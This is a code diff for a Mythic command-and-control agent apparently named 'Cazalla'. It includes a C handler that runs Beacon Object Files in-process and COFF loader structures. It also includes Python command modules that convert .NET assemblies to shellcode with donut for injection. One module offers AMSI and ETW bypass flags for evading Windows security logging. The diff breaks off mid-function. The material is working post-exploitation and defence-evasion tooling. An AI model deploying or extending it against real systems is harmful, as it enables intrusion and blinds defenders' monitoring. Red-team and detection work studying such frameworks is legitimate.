// Get output from Beacon compatibility layer
|
||||
int outdataSize = 0;
|
||||
PCHAR outdata = BeaconGetOutputData(&outdataSize);
|
||||
_inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata);
|
||||
if (outdata && outdataSize > 0) {
|
||||
_inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize);
|
||||
// Debug: log first 200 bytes of output
|
||||
int logLen = (outdataSize > 200) ? 200 : outdataSize;
|
||||
_inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata);
|
||||
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
|
||||
free(outdata);
|
||||
} else {
|
||||
_inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize);
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
|
||||
}
|
||||
}
|
||||
|
||||
_inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length);
|
||||
|
||||
// Add output to response FIRST (before artifacts)
|
||||
// Format must be: [UUID_tarea][output_len][output][marcadores...]
|
||||
_inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length);
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Add Process Create artifact AFTER output
|
||||
// BOF execution creates process artifacts
|
||||
char artifact_buf[512];
|
||||
if (argsJson && argsLen > 0) {
|
||||
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s",
|
||||
(int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson);
|
||||
} else {
|
||||
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
|
||||
}
|
||||
addArtifact(respuesta, "Process Create", artifact_buf);
|
||||
|
||||
_inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length);
|
||||
|
||||
// Send response
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
// Cleanup
|
||||
if (bof.buffer) LocalFree(bof.buffer);
|
||||
if (bofArgs) LocalFree(bofArgs);
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
|
||||
_inf("===== InlineExecuteHandler FIN =====");
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef INLINE_EXECUTE_H
|
||||
#define INLINE_EXECUTE_H
|
||||
|
||||
#include "analizador.h"
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#if defined(__x86_64__) || defined(_WIN64)
|
||||
#define PREPENDSYMBOLVALUE "__imp_"
|
||||
#else
|
||||
#define PREPENDSYMBOLVALUE "__imp__"
|
||||
#endif
|
||||
|
||||
#define STR_EQUALS(str, substr) (strncmp(str, substr, strlen(substr)) == 0)
|
||||
|
||||
// COFF relocation types (from winnt.h)
|
||||
#define IMAGE_REL_AMD64_ADDR64 0x0001
|
||||
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
|
||||
#define IMAGE_REL_AMD64_REL32 0x0004
|
||||
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||||
|
||||
// COFF File Header
|
||||
typedef struct coff_file_header {
|
||||
UINT16 Machine;
|
||||
UINT16 NumberOfSections;
|
||||
UINT32 TimeDateStamp;
|
||||
UINT32 PointerToSymbolTable;
|
||||
UINT32 NumberOfSymbols;
|
||||
UINT16 SizeOfOptionalHeader;
|
||||
UINT16 Characteristics;
|
||||
} FileHeader_t;
|
||||
|
||||
#pragma pack(push,1)
|
||||
|
||||
// COFF Section Table
|
||||
typedef struct coff_sections_table {
|
||||
char Name[8];
|
||||
UINT32 VirtualSize;
|
||||
UINT32 VirtualAddress;
|
||||
UINT32 SizeOfRawData;
|
||||
UINT32 PointerToRawData;
|
||||
UINT32 PointerToRelocations;
|
||||
UINT32 PointerToLineNumbers;
|
||||
UINT16 NumberOfRelocations;
|
||||
UINT16 NumberOfLinenumbers;
|
||||
UINT32 Characteristics;
|
||||
} Section_t;
|
||||
|
||||
// COFF Relocations
|
||||
typedef struct coff_relocations {
|
||||
UINT32 VirtualAddress;
|
||||
UINT32 SymbolTableIndex;
|
||||
UINT16 Type;
|
||||
} Relocation_t;
|
||||
|
||||
// COFF Symbols Table
|
||||
typedef struct coff_symbols_table {
|
||||
union {
|
||||
char Name[8];
|
||||
UINT32 value[2];
|
||||
} first;
|
||||
UINT32 Value;
|
||||
UINT16 SectionNumber;
|
||||
UINT16 Type;
|
||||
UINT8 StorageClass;
|
||||
UINT8 NumberOfAuxSymbols;
|
||||
} Symbol_t;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
// COFF structure
|
||||
typedef struct COFF {
|
||||
char* FileBase;
|
||||
FileHeader_t* FileHeader;
|
||||
Relocation_t* Relocation;
|
||||
Symbol_t* SymbolTable;
|
||||
void* RawTextData;
|
||||
char* RelocationsTextPTR;
|
||||
int RelocationsCount;
|
||||
int FunctionMappingCount;
|
||||
} COFF_t;
|
||||
|
||||
// BOF Upload structure
|
||||
typedef struct _BOF_UPLOAD {
|
||||
CHAR fileUuid[37]; // File UUID (36 + 1 for null terminator)
|
||||
UINT32 totalChunks; // Total number of chunks
|
||||
UINT32 currentChunk; // Current chunk number
|
||||
SIZE_T size; // Size of the file
|
||||
PVOID buffer; // Pointer to BOF buffer data
|
||||
} BOF_UPLOAD, *PBOF_UPLOAD;
|
||||
|
||||
// Function declarations
|
||||
VOID InlineExecuteHandler(PAnalizador argumentos);
|
||||
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize);
|
||||
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // INLINE_EXECUTE_H
|
||||
|
||||
@@ -185,3 +185,18 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
|
||||
_dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Hash function for BOF function resolution (FNV-1a algorithm) */
|
||||
#define HASH_SEED 0x811C9DC5
|
||||
#define HASH_PRIME 0x01000193
|
||||
|
||||
UINT32 custom_hash(const char *data) {
|
||||
UINT32 hash = HASH_SEED;
|
||||
if (!data) return 0;
|
||||
while (*data) {
|
||||
hash ^= (UINT8)(*data);
|
||||
hash *= HASH_PRIME;
|
||||
data++;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
@@ -33,4 +33,7 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
|
||||
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
|
||||
/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */
|
||||
|
||||
/* Hash function for BOF function resolution (FNV-1a) */
|
||||
UINT32 custom_hash(const char *data);
|
||||
|
||||
#endif
|
||||
|
||||
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,220 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import tempfile
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
|
||||
class ExecuteAssemblyArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="assembly_name",
|
||||
cli_name="Assembly",
|
||||
display_name="Assembly",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
)
|
||||
]),
|
||||
CommandParameter(
|
||||
name="assembly_file",
|
||||
display_name="New Assembly",
|
||||
type=ParameterType.File,
|
||||
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="New Assembly",
|
||||
ui_position=1,
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="assembly_arguments",
|
||||
cli_name="Arguments",
|
||||
display_name="Arguments",
|
||||
type=ParameterType.String,
|
||||
description="Arguments to pass to the assembly.",
|
||||
default_value="",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True, group_name="Default", ui_position=2,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=True, group_name="New Assembly", ui_position=2
|
||||
),
|
||||
],
|
||||
),
|
||||
]
|
||||
|
||||
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
|
||||
response = PTRPCDynamicQueryFunctionMessageResponse()
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
CallbackID=callback.Callback,
|
||||
LimitByCallback=False,
|
||||
Filename="",
|
||||
))
|
||||
if file_resp.Success:
|
||||
file_names = []
|
||||
for f in file_resp.Files:
|
||||
if f.Filename not in file_names and f.Filename.endswith(".exe"):
|
||||
file_names.append(f.Filename)
|
||||
response.Success = True
|
||||
response.Choices = file_names
|
||||
return response
|
||||
else:
|
||||
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
|
||||
CallbackId=callback.Callback,
|
||||
Message=f"Failed to get files: {file_resp.Error}",
|
||||
MessageLevel="warning"
|
||||
))
|
||||
response.Error = f"Failed to get files: {file_resp.Error}"
|
||||
return response
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
class ExecuteAssemblyCommand(CommandBase):
|
||||
cmd = "execute_assembly"
|
||||
needs_admin = False
|
||||
help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
|
||||
description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
|
||||
version = 1
|
||||
author = "@c0rnbread (adapted for Cazalla)"
|
||||
script_only = True
|
||||
attackmapping = []
|
||||
argument_class = ExecuteAssemblyArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
try:
|
||||
groupName = taskData.args.get_parameter_group_name()
|
||||
|
||||
if groupName == "New Assembly":
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
AgentFileID=taskData.args.get_arg("assembly_file")
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
pass
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments")
|
||||
)
|
||||
|
||||
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
|
||||
taskData.args.remove_arg("assembly_file")
|
||||
|
||||
elif groupName == "Default":
|
||||
# We're trying to find an already existing file and use that
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=taskData.args.get_arg("assembly_name"),
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
|
||||
|
||||
taskData.args.remove_arg("assembly_name") # Don't need this anymore
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments")
|
||||
)
|
||||
|
||||
elif len(file_resp.Files) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||
|
||||
# Get the file contents of the .NET assembly
|
||||
assembly_contents = await SendMythicRPCFileGetContent(
|
||||
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
|
||||
)
|
||||
|
||||
# Try to import donut - required for execute_assembly
|
||||
try:
|
||||
import donut
|
||||
except ImportError:
|
||||
raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
|
||||
|
||||
# Need a physical path for donut.create()
|
||||
fd, temppath = tempfile.mkstemp(suffix='.exe')
|
||||
logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
|
||||
with os.fdopen(fd, 'wb') as tmp:
|
||||
tmp.write(assembly_contents.Content)
|
||||
|
||||
# Bypass=None, ExitOption=exit process
|
||||
assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
|
||||
# Clean up temp file
|
||||
os.remove(temppath)
|
||||
|
||||
logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
|
||||
|
||||
# .NET shellcode stub in Mythic
|
||||
shellcode_file_resp = await SendMythicRPCFileCreate(
|
||||
MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
|
||||
)
|
||||
|
||||
|
||||
if shellcode_file_resp.Success:
|
||||
shellcode_file_uuid = shellcode_file_resp.AgentFileId
|
||||
else:
|
||||
raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
|
||||
|
||||
# Send subtask to inject shellcode
|
||||
# Note: This requires an inject_shellcode command to exist
|
||||
# For now, we'll just register the file and note that inject_shellcode needs to be implemented
|
||||
subtask = await SendMythicRPCTaskCreateSubtask(
|
||||
MythicRPCTaskCreateSubtaskMessage(
|
||||
taskData.Task.ID,
|
||||
CommandName="inject_shellcode",
|
||||
SubtaskCallbackFunction="coff_completion_callback",
|
||||
Params=json.dumps({
|
||||
"shellcode_file": shellcode_file_uuid,
|
||||
"method": "default"
|
||||
}),
|
||||
Token=taskData.Task.TokenID,
|
||||
)
|
||||
)
|
||||
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(e))
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,209 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
class InlineExecuteArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="bof_name",
|
||||
cli_name="BOF",
|
||||
display_name="BOF",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
description="Already existing BOF to execute (e.g. whoami.x64.o)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="bof_file",
|
||||
display_name="New BOF",
|
||||
type=ParameterType.File,
|
||||
description="A new BOF to execute. After uploading once, you can just supply the bof_name parameter",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="New",
|
||||
ui_position=1,
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="bof_arguments",
|
||||
cli_name="Arguments",
|
||||
display_name="Arguments",
|
||||
type=ParameterType.TypedArray,
|
||||
default_value=[],
|
||||
choices=["int16", "int32", "string", "wchar", "base64"],
|
||||
description="""Arguments to pass to the BOF via the following way:
|
||||
-s:123 or int16:123
|
||||
-i:123 or int32:123
|
||||
-z:hello or string:hello
|
||||
-Z:hello or wchar:hello
|
||||
-b:abc== or base64:abc==""",
|
||||
typedarray_parse_function=self.get_arguments,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=4
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="New",
|
||||
ui_position=4
|
||||
),
|
||||
]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
# Allowed argument keys
|
||||
expected_args = {"bof_arguments", "bof_file", "bof_name"}
|
||||
|
||||
# Check if dictionary contains only allowed keys
|
||||
invalid_keys = set(dictionary_arguments.keys()) - expected_args
|
||||
if invalid_keys:
|
||||
raise ValueError(f"Invalid arguments provided: {', '.join(invalid_keys)}")
|
||||
|
||||
# Load only allowed arguments
|
||||
filtered_arguments = {k: v for k, v in dictionary_arguments.items() if k in expected_args}
|
||||
self.load_args_from_dictionary(filtered_arguments)
|
||||
|
||||
async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse:
|
||||
argumentSplitArray = []
|
||||
for argValue in arguments.InputArray:
|
||||
argSplitResult = argValue.split(" ")
|
||||
for spaceSplitArg in argSplitResult:
|
||||
argumentSplitArray.append(spaceSplitArg)
|
||||
bof_arguments = []
|
||||
for argument in argumentSplitArray:
|
||||
if ":" not in argument:
|
||||
continue
|
||||
argType,value = argument.split(":",1)
|
||||
value = value.strip("\'").strip("\"")
|
||||
if argType == "":
|
||||
pass
|
||||
elif argType == "int16" or argType == "-s" or argType == "s":
|
||||
bof_arguments.append(["int16", int(value)])
|
||||
elif argType == "int32" or argType == "-i" or argType == "i":
|
||||
bof_arguments.append(["int32", int(value)])
|
||||
elif argType == "string" or argType == "-z" or argType == "z":
|
||||
bof_arguments.append(["string",value])
|
||||
elif argType == "wchar" or argType == "-Z" or argType == "Z":
|
||||
bof_arguments.append(["wchar",value])
|
||||
elif argType == "base64" or argType == "-b" or argType == "b":
|
||||
bof_arguments.append(["base64",value])
|
||||
else:
|
||||
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
|
||||
Error=f"Failed to parse argument: {argument}: Unknown value type.")
|
||||
|
||||
argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=bof_arguments)
|
||||
return argumentResponse
|
||||
|
||||
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
|
||||
response = PTRPCDynamicQueryFunctionMessageResponse()
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
CallbackID=callback.Callback,
|
||||
LimitByCallback=False,
|
||||
IsDownloadFromAgent=False,
|
||||
IsScreenshot=False,
|
||||
IsPayload=False,
|
||||
Filename="",
|
||||
))
|
||||
if file_resp.Success:
|
||||
file_names = []
|
||||
for f in file_resp.Files:
|
||||
if f.Filename not in file_names and f.Filename.endswith(".o"):
|
||||
file_names.append(f.Filename)
|
||||
response.Success = True
|
||||
response.Choices = file_names
|
||||
return response
|
||||
else:
|
||||
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
|
||||
CallbackId=callback.Callback,
|
||||
Message=f"Failed to get files: {file_resp.Error}",
|
||||
MessageLevel="warning"
|
||||
))
|
||||
response.Error = f"Failed to get files: {file_resp.Error}"
|
||||
return response
|
||||
|
||||
|
||||
class InlineExecuteCommand(CommandBase):
|
||||
cmd = "inline_execute"
|
||||
needs_admin = False
|
||||
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
|
||||
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
|
||||
version = 1
|
||||
author = "@c0rnbread (adapted for Cazalla)"
|
||||
attackmapping = []
|
||||
argument_class = InlineExecuteArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
try:
|
||||
groupName = taskData.args.get_parameter_group_name()
|
||||
if groupName == "New":
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
AgentFileID=taskData.args.get_arg("bof_file")
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
pass
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||
elif groupName == "Default":
|
||||
# We're trying to find an already existing file and use that
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=taskData.args.get_arg("bof_name"),
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
taskData.args.add_arg("bof_file", file_resp.Files[0].AgentFileId)
|
||||
taskData.args.remove_arg("bof_name") # Don't need this anymore
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("bof_arguments")
|
||||
)
|
||||
|
||||
elif len(file_resp.Files) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(e))
|
||||
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,271 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
# Wrapper function for Inline-EA
|
||||
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
|
||||
|
||||
class InlineExecuteAssemblyArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="assembly_name",
|
||||
cli_name="Assembly",
|
||||
display_name="Assembly",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
)
|
||||
]),
|
||||
CommandParameter(
|
||||
name="assembly_file",
|
||||
display_name="New Assembly",
|
||||
type=ParameterType.File,
|
||||
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="New Assembly",
|
||||
ui_position=1,
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="assembly_arguments",
|
||||
cli_name="Arguments",
|
||||
display_name="Arguments",
|
||||
type=ParameterType.String,
|
||||
description="Arguments to pass to the assembly.",
|
||||
default_value="",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=2,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=2
|
||||
),
|
||||
],
|
||||
),
|
||||
CommandParameter(
|
||||
name="patch_exit",
|
||||
cli_name="-patchexit",
|
||||
display_name="patchexit",
|
||||
type=ParameterType.Boolean,
|
||||
description="Patches System.Environment.Exit to prevent Beacon process from exiting",
|
||||
default_value=False,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=3,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=3
|
||||
),
|
||||
],
|
||||
),
|
||||
CommandParameter(
|
||||
name="amsi",
|
||||
cli_name="-amsi",
|
||||
display_name="amsi",
|
||||
type=ParameterType.Boolean,
|
||||
description="Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections",
|
||||
default_value=False,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=4,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=4
|
||||
),
|
||||
],
|
||||
),
|
||||
CommandParameter(
|
||||
name="etw",
|
||||
cli_name="-etw",
|
||||
display_name="etw",
|
||||
type=ParameterType.Boolean,
|
||||
description="Bypass ETW by EAT Hooking advapi32.dll!EventWrite to point to a function that returns right away",
|
||||
default_value=False,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="Default", ui_position=5,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=False, group_name="New Assembly", ui_position=5
|
||||
),
|
||||
],
|
||||
),
|
||||
]
|
||||
|
||||
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
|
||||
response = PTRPCDynamicQueryFunctionMessageResponse()
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
CallbackID=callback.Callback,
|
||||
LimitByCallback=False,
|
||||
Filename="",
|
||||
))
|
||||
if file_resp.Success:
|
||||
file_names = []
|
||||
for f in file_resp.Files:
|
||||
if f.Filename not in file_names and f.Filename.endswith(".exe"):
|
||||
file_names.append(f.Filename)
|
||||
response.Success = True
|
||||
response.Choices = file_names
|
||||
return response
|
||||
else:
|
||||
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
|
||||
CallbackId=callback.Callback,
|
||||
Message=f"Failed to get files: {file_resp.Error}",
|
||||
MessageLevel="warning"
|
||||
))
|
||||
response.Error = f"Failed to get files: {file_resp.Error}"
|
||||
return response
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
class InlineExecuteAssemblyCommand(CommandBase):
|
||||
cmd = "inline_execute_assembly"
|
||||
needs_admin = False
|
||||
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
|
||||
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
|
||||
version = 1
|
||||
author = "@c0rnbread (adapted for Cazalla)"
|
||||
script_only = True
|
||||
attackmapping = []
|
||||
argument_class = InlineExecuteAssemblyArguments
|
||||
attributes = CommandAttributes(
|
||||
dependencies=["inline_execute"],
|
||||
alias=True
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
try:
|
||||
groupName = taskData.args.get_parameter_group_name()
|
||||
|
||||
if groupName == "New Assembly":
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
AgentFileID=taskData.args.get_arg("assembly_file")
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
pass
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments"),
|
||||
taskData.args.get_arg("patch_exit"),
|
||||
taskData.args.get_arg("amsi"),
|
||||
taskData.args.get_arg("etw")
|
||||
)
|
||||
|
||||
